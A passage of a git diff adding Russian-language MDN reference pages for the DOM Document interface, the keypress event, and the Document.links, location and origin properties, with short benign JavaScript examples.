+ <dd>Returns a list of the images in the current document.</dd>
+ <dt>{{domxref("Document.lastModified")}}</dt>
+ <dd>Returns the date on which the document was last modified.</dd>
+ <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the color of hyperlinks in the document.</dd>
+ <dt>{{domxref("Document.links")}}</dt>
+ <dd>Returns a list of all the hyperlinks in the document.</dd>
+ <dt>{{domxref("Document.location")}}</dt>
+ <dd>Returns the URI of the current document.</dd>
+ <dt>{{domxref("Document.plugins")}}</dt>
+ <dd>Returns a list of the available plugins.</dd>
+ <dt>{{domxref("Document.readyState")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns loading status of the document.</dd>
+ <dt>{{domxref("Document.referrer")}}</dt>
+ <dd>Returns the URI of the page that linked to this page.</dd>
+ <dt>{{domxref("Document.scripts")}}</dt>
+ <dd>Returns all the {{HTMLElement("script")}} elements on the document.</dd>
+ <dt>{{domxref("Document.title")}}</dt>
+ <dd>Returns the title of the current document.</dd>
+ <dt>{{domxref("Document.URL")}}</dt>
+ <dd>Returns a string containing the URL of the current document.</dd>
+ <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt>
+ <dd>Gets/sets the color of visited hyperlinks.</dd>
+ <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns the width of the current document.</dd>
+</dl>
+
+<h3 id="Event_handlers" name="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("Document.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("pointerlockchange")}} event.</dd>
+ <dt>{{domxref("Document.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("pointerlockerror")}} event.</dd>
+ <dt>{{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Returns the event handling code for the <code>readystatechange</code> event.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<div class="note">
+<p><strong>Note:</strong> The <code>Document</code> interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("Document.adoptNode","Document.adoptNode(Node node)")}}</dt>
+ <dd>Adopt node from an external document.</dd>
+ <dt>{{domxref("Document.captureEvents","Document.captureEvents(String eventName)")}} {{Deprecated_inline}}</dt>
+ <dd>See {{domxref("window.captureEvents")}}.</dd>
+ <dt>{{domxref("Document.caretPositionFromPoint","Document.caretPositionFromPoint(Number x, Number y)")}}</dt>
+ <dd>Gets a {{domxref("CaretPosition")}} based on two coordinates.</dd>
+ <dt>{{domxref("Document.createAttribute","Document.createAttribute(String name)")}}</dt>
+ <dd>Creates a new {{domxref("Attr")}} object and returns it.</dd>
+ <dt>{{domxref("Document.createAttributeNS","Document.createAttributeNS(String namespace, String name)")}}</dt>
+ <dd>Creates a new attribute node in a given namespace and returns it.</dd>
+ <dt>{{domxref("Document.createCDATASection","Document.createCDATASection(String data)")}}</dt>
+ <dd>Creates a new CDATA node and returns it.</dd>
+ <dt>{{domxref("Document.createComment","Document.createComment(String comment)")}}</dt>
+ <dd>Creates a new comment node and returns it.</dd>
+ <dt>{{domxref("Document.createDocumentFragment()")}}</dt>
+ <dd>Creates a new document fragment.</dd>
+ <dt>{{domxref("Document.createElement","Document.createElement(String name)")}}</dt>
+ <dd>Creates a new element with the given tag name.</dd>
+ <dt>{{domxref("Document.createElementNS","Document.createElementNS(String namespace, String name)")}}</dt>
+ <dd>Creates a new element with the given tag name and namespace URI.</dd>
+ <dt>{{domxref("Document.createEntityReference","Document.createEntityReference(String name)")}} {{obsolete_inline}}</dt>
+ <dd>Creates a new entity reference object and returns it.</dd>
+ <dt>{{domxref("Document.createEvent","Document.createEvent(String interface)")}}</dt>
+ <dd>Creates an event object.</dd>
+ <dt>{{domxref("Document.createNodeIterator","Document.createNodeIterator(Node root[, Number whatToShow[, NodeFilter filter]])")}}</dt>
+ <dd>Creates a {{domxref("NodeIterator")}} object.</dd>
+ <dt>{{domxref("Document.createProcessingInstruction","Document.createProcessingInstruction(String target, String data)")}}</dt>
+ <dd>Creates a new {{domxref("ProcessingInstruction")}} object.</dd>
+ <dt>{{domxref("Document.createRange()")}}</dt>
+ <dd>Creates a {{domxref("Range")}} object.</dd>
+ <dt>{{domxref("Document.createTextNode","Document.createTextNode(String text)")}}</dt>
+ <dd>Creates a text node.</dd>
+ <dt>{{domxref("Document.createTreeWalker","Document.createTreeWalker(Node root[, Number whatToShow[, NodeFilter filter]])")}}</dt>
+ <dd>Creates a {{domxref("TreeWalker")}} object.</dd>
+ <dt>{{domxref("Document.elementFromPoint","Document.elementFromPoint(Number x, Number y)")}}</dt>
+ <dd>Returns the element visible at the specified coordinates.</dd>
+ <dt>{{domxref("Document.enableStyleSheetsForSet","Document.enableStyleSheetsForSet(String name)")}}</dt>
+ <dd>Enables the style sheets for the specified style sheet set.</dd>
+ <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Release the pointer lock.</dd>
+ <dt>{{domxref("Document.getElementsByClassName","Document.getElementsByClassName(String className)")}}</dt>
+ <dd>Returns a list of elements with the given class name.</dd>
+ <dt>{{domxref("Document.getElementsByTagName","Document.getElementsByTagName(String tagName)")}}</dt>
+ <dd>Returns a list of elements with the given tag name.</dd>
+ <dt>{{domxref("Document.getElementsByTagNameNS","Document.getElementsByTagNameNS(String namespace, String tagName)")}}</dt>
+ <dd>Returns a list of elements with the given tag name and namespace.</dd>
+ <dt>{{domxref("Document.importNode","Document.importNode(Node node, Boolean deep)")}}</dt>
+ <dd>Returns a clone of a node from an external document.</dd>
+ <dt>{{domxref("document.mozSetImageElement")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Allows you to change the element being used as the background image for a specified element ID.</dd>
+ <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt>
+ <dd>Replaces entities, normalizes text nodes, etc.</dd>
+ <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Releases the current mouse capture if it's on an element in this document.</dd>
+ <dt>{{domxref("Document.releaseEvents")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>See {{domxref("window.releaseEvents")}}.</dd>
+ <dt>{{domxref("document.routeEvent")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt>
+ <dd>See {{domxref("window.routeEvent")}}.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("Document.getElementById","Document.getElementById(String id)")}}</dt>
+ <dd>Returns an object reference to the identified element.</dd>
+ <dt>{{domxref("Document.querySelector","Document.querySelector(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns the first Element node within the document, in document order, that matches the specified selectors.</dd>
+ <dt>{{domxref("Document.querySelectorAll","Document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Returns a list of all the Element nodes within the document that match the specified selectors.</dd>
+</dl>
+
+<p>The <code>Document</code> interface is extended with the {{domxref("XPathEvaluator")}} interface:</p>
+
+<dl>
+ <dt>{{domxref("Document.createExpression","Document.createExpression(String expression, XPathNSResolver resolver)")}}</dt>
+ <dd>Compiles an <code><a href="/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code> which can then be used for (repeated) evaluations.</dd>
+ <dt>{{domxref("Document.createNSResolver","Document.createNSResolver(Node resolver)")}}</dt>
+ <dd>Creates an {{domxref("XPathNSResolver")}} object.</dd>
+ <dt>{{domxref("Document.evaluate","Document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}}</dt>
+ <dd>Evaluates an XPath expression.</dd>
+</dl>
+
+<h3 id="Extension_for_HTML_documents_2">Extension for HTML documents</h3>
+
+<p>The <code>Document</code> interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5,  is extended for such documents:</p>
+
+<dl>
+ <dt>{{domxref("Document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.</dd>
+ <dt>{{domxref("Document.close()")}}</dt>
+ <dd>Closes a document stream for writing.</dd>
+ <dt>{{domxref("Document.execCommand","Document.execCommand(String command[, Boolean showUI[, String value]])")}}</dt>
+ <dd>On an editable document, executes a formating command.</dd>
+ <dt>{{domxref("Document.getElementsByName","Document.getElementsByName(String name)")}}</dt>
+ <dd>Returns a list of elements with the given name.</dd>
+ <dt>{{domxref("Document.getSelection()")}}</dt>
+ <dd>Returns a {{domxref("Selection")}} object related to text selected in the document.</dd>
+ <dt>{{domxref("Document.hasFocus()")}}</dt>
+ <dd>Returns <code>true</code> if the focus is currently located anywhere inside the specified document.</dd>
+ <dt>{{domxref("Document.open()")}}</dt>
+ <dd>Opens a document stream for writing.</dd>
+ <dt>{{domxref("Document.queryCommandEnabled","Document.queryCommandEnabled(String command)")}}</dt>
+ <dd>Returns true if the formating command can be executed on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandIndeterm","Document.queryCommandIndeterm(String command)")}}</dt>
+ <dd>Returns true if the formating command is in an indeterminate state on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandState","Document.queryCommandState(String command)")}}</dt>
+ <dd>Returns true if the formating command has been executed on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandSupported","Document.queryCommandSupported(String command)")}}</dt>
+ <dd>Returns true if the formating command is supported on the current range.</dd>
+ <dt>{{domxref("Document.queryCommandValue","Document.queryCommandValue(String command)")}}</dt>
+ <dd>Returns the current value of the current range for a formatting command.</dd>
+ <dt>{{domxref("Document.registerElement","Document.registerElement(String tagname[, Object options])")}}</dt>
+ <dd>Registers a new custom element in the browser and returns a constructor for the new element.</dd>
+ <dt>{{domxref("Document.write","Document.write(String text)")}}</dt>
+ <dd>Writes text in a document.</dd>
+ <dt>{{domxref("Document.writeln","Document.writeln(String text)")}}</dt>
+ <dd>Writes a line of text in a document.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition for the interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Supersede DOM 1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','#i-Document','Document')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Supersede DOM 2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Intend to supersede DOM 3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Turn the {{domxref("HTMLDocument")}} interface into a <code>Document</code> extension.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}}</td>
+   <td>{{Spec2('DOM3 XPath')}}</td>
+   <td>Define the {{domxref("XPathEvaluator")}} interface which extend <code>Document</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#dom-document-getselection','Document')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Extend the <code>Document</code> interface</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<h3 id="Firefox_notes">Firefox notes</h3>
+
+<p>Mozilla defines a set of non-standard properties made only for XUL content:</p>
+
+<dl>
+ <dt>{{domxref("document.currentScript")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Returns the {{HTMLElement("script")}} element that is currently executing.</dd>
+ <dt>{{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>(<strong>Mozilla add-ons only!</strong>) Returns the {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).</dd>
+ <dt>{{domxref("document.popupNode")}}</dt>
+ <dd>Returns the node upon which a popup was invoked.</dd>
+ <dt>{{domxref("document.tooltipNode")}}</dt>
+ <dd>Returns the node which is the target of the current tooltip.</dd>
+</dl>
+
+<p>Mozilla also define some non-standard methods:</p>
+
+<dl>
+ <dt>{{domxref("Document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
+ <dt>{{domxref("Document.getBoxObjectFor")}} {{obsolete_inline}}</dt>
+ <dd>Use the {{domxref("Element.getBoundingClientRect()")}} method instead.</dd>
+ <dt>{{domxref("Document.loadOverlay")}} {{Fx_minversion_inline("1.5")}}</dt>
+ <dd>Loads a <a href="/en-US/docs/XUL_Overlays" title="XUL_Overlays">XUL overlay</a> dynamically. This only works in XUL documents.</dd>
+ <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
+</dl>
+
+<h3 id="Internet_Explorer_notes">Internet Explorer notes</h3>
+
+<p>Microsoft defines some non-standard properties:</p>
+
+<dl>
+ <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd>
+ <dt><span style="font-weight: normal; line-height: 1.5;">Internet Explorer does not support all methods from the <code>Node</code> interface in the <code>Document</code> interface:</span></dt>
+</dl>
+
+<dl>
+ <dt>{{domxref("document.contains")}}</dt>
+ <dd>As a work-around, <code>document.body.contains()</code> can be used.</dd>
+</dl>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document")}}</p>
diff --git a/files/ru/web/api/document/keypress_event/index.html b/files/ru/web/api/document/keypress_event/index.html
new file mode 100644
index 0000000000..cf6158c111
--- /dev/null
+++ b/files/ru/web/api/document/keypress_event/index.html
@@ -0,0 +1,183 @@
+---
+title: keypress
+slug: Web/API/Document/keypress_event
+translation_of: Web/API/Document/keypress_event
+---
+<p><span class="seoSummary">Событие <code>keypress</code> происходит когда нажимается символьная клавиша, то есть клавиша которая создает символ. Пример таких клавиш это буквы, цифры, знаки пунктуации и т.д. Примеры клавиш которые не создают символы, это клавиши модификаторы, такие как: </span><kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd>, or <kbd>Meta</kbd><span class="seoSummary">.</span></p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress">DOM L3</a> {{deprecated_inline()}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/DOM/KeyboardEvent" title="http://en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Varies: <code>keypress</code> event; launch text composition system; <code>blur</code> and <code>focus</code> events; <code>DOMActivate</code> event; other event</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойства</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>Цель события (самая верхняя цель в дереве DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>DOMString</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Отменяется ли событие или нет</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>WindowProxy</td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget (DOM element)</td>
+   <td>Сосредоточенный элемент, обрабатывающий ключевое событие, корневой элемент, если не выделен подходящий элемент ввода.</td>
+  </tr>
+  <tr>
+   <td><code>char</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail.
+    <div class="note"><strong>Примечание:</strong> Если ключ используется в качестве макроса, который вставляет несколько символов, значением этого атрибута является вся строка, а не только первый символ.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>key</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>
+    <p>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> property. Otherwise, it's one of the key value strings specified in <a href="/en-US/docs/Web/API/KeyboardEvent/key/Key_Values">Key values</a>. If the key can't be identified, its value is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for more details. Read Only.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>code</code> {{readonlyInline}}
+
+   </td>
+   <td>DOMString (string)</td>
+   <td>Holds a string that identifies the physical key being pressed. The value is not affected by the current keyboard layout or modifier state, so a particular key will always return the same value.</td>
+  </tr>
+  <tr>
+   <td><code>charCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>keyCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>which</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>location</code> {{readonlyInline}}</td>
+   <td>long (float)</td>
+   <td>The location of the key on the device.</td>
+  </tr>
+  <tr>
+   <td><code>repeat</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>locale</code> {{readonlyInline}}</td>
+   <td>string</td>
+   <td>The language code for the key event, if available; otherwise, the empty string.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Заметки">Заметки</h2>
+
+<p>Chrome не запускает событие <code>keypress</code> для известных сочетаний клавиш (<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=13891#c50">reference</a>). Какие сочетания клавиш известны, зависит от системы пользователя. Используйте событие<code>keydown</code> для реализации сочетаний клавиш.</p>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("keydown")}}</li>
+ <li>{{event("keyup")}}</li>
+ <li>{{event("keypress")}}</li>
+ <li>{{event("input")}}</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+
+'use strict';
+
+document.addEventListener('keypress', (event) =&gt; {
+  const keyName = event.key;
+
+  alert('keypress event\n\n' + 'key: ' + keyName);
+});
+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
diff --git a/files/ru/web/api/document/links/index.html b/files/ru/web/api/document/links/index.html
new file mode 100644
index 0000000000..3497a83b47
--- /dev/null
+++ b/files/ru/web/api/document/links/index.html
@@ -0,0 +1,72 @@
+---
+title: Document.links
+slug: Web/API/Document/links
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/Document/links
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Возвращает объект всех элементов {{HTMLElement("area")}} и {{HTMLElement("a")}}, присутствующих на странице с значением атрибута <a href="/en-US/docs/Web/API/URLUtils.href">href</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>nodeList</em> = document.links
+</pre>
+
+<p> </p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLCollection")}}.</p>
+
+<p> </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var links = document.links;
+for(var i = 0; i &lt; links.length; i++) {
+  var linkHref = document.createTextNode(links[i].href);
+  var lineBreak = document.createElement("br");
+  document.body.appendChild(linkHref);
+  document.body.appendChild(lineBreak);
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.links")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/location/index.html b/files/ru/web/api/document/location/index.html
new file mode 100644
index 0000000000..f0541c8c74
--- /dev/null
+++ b/files/ru/web/api/document/location/index.html
@@ -0,0 +1,76 @@
+---
+title: Document.location
+slug: Web/API/Document/location
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Read-only
+  - Свойство
+translation_of: Web/API/Document/location
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Доступное только для чтения свойство <strong><code>Document.location</code></strong> возвращает объект {{domxref("Location")}}, который содержит информацию о URL страницы и предоставляет методы для изменения этого URL и загрузки другого URL.</p>
+
+<p>Хотя <code>Document.location</code> это <em>read-only</em> объект <code>Location</code>, вы всё же можете присвоить ему {{domxref("DOMString")}}. Это означает, что в большинстве случаев вы можете работать с document.location так, будто это строка: <code>document.location = 'http://www.example.com'</code> фактически то же, что и <code>document.location.href = 'http://www.example.com'</code>.</p>
+
+<p>Чтобы получить URL как строку, вы можете использовать <em>read-only</em> свойство {{domxref("document.URL")}}.</p>
+
+<p>Если страница находится вне текущего контекста, вернётся <code>null</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>locationObj</em> = document.location
+document.location = 'http://www.mozilla.org' // Эквиваленто след.
+document.location.href = 'http://www.mozilla.org'</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">dump(document.location);
+// Выведет строку
+// "http://www.example.com/juicybits.html" в консоли
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.location")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс возвращаемого значения, {{domxref("Location")}}.</li>
+ <li>Похожая информация, но привязанная к контексту, {{domxref("Window.location")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/document/origin/index.html b/files/ru/web/api/document/origin/index.html
new file mode 100644
index 0000000000..31ebf7845b
--- /dev/null
+++ b/files/ru/web/api/document/origin/index.html
@@ -0,0 +1,109 @@
+---
+title: Document.origin
+slug: Web/API/Document/origin
+tags:
+  - API
+  - DOM
+  - Read-only
+  - Интерфейс
+  - Свойство
+  - Эксперементальный
+translation_of: Web/API/Document/origin
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<div> </div>
+
+<p><strong>Document.origin — </strong>это свойство, доступное только для чтения, которое возвращает <strong>origin </strong>документа. В большинстве случаев это свойство эквивалентно  <code><strong>document.defaultView.location.origin</strong>.</code></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var origin = document.origin;
+// На этой странице вернёт:'https://developer.mozilla.org'
+
+var origin = document.origin;
+// Для "about:blank" вернёт:'null'
+
+var origin = document.origin;
+// Для "data:text/html,&lt;b&gt;foo&lt;/b&gt;" вернёт:'null'
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-origin', 'Document.origin')}}</td>
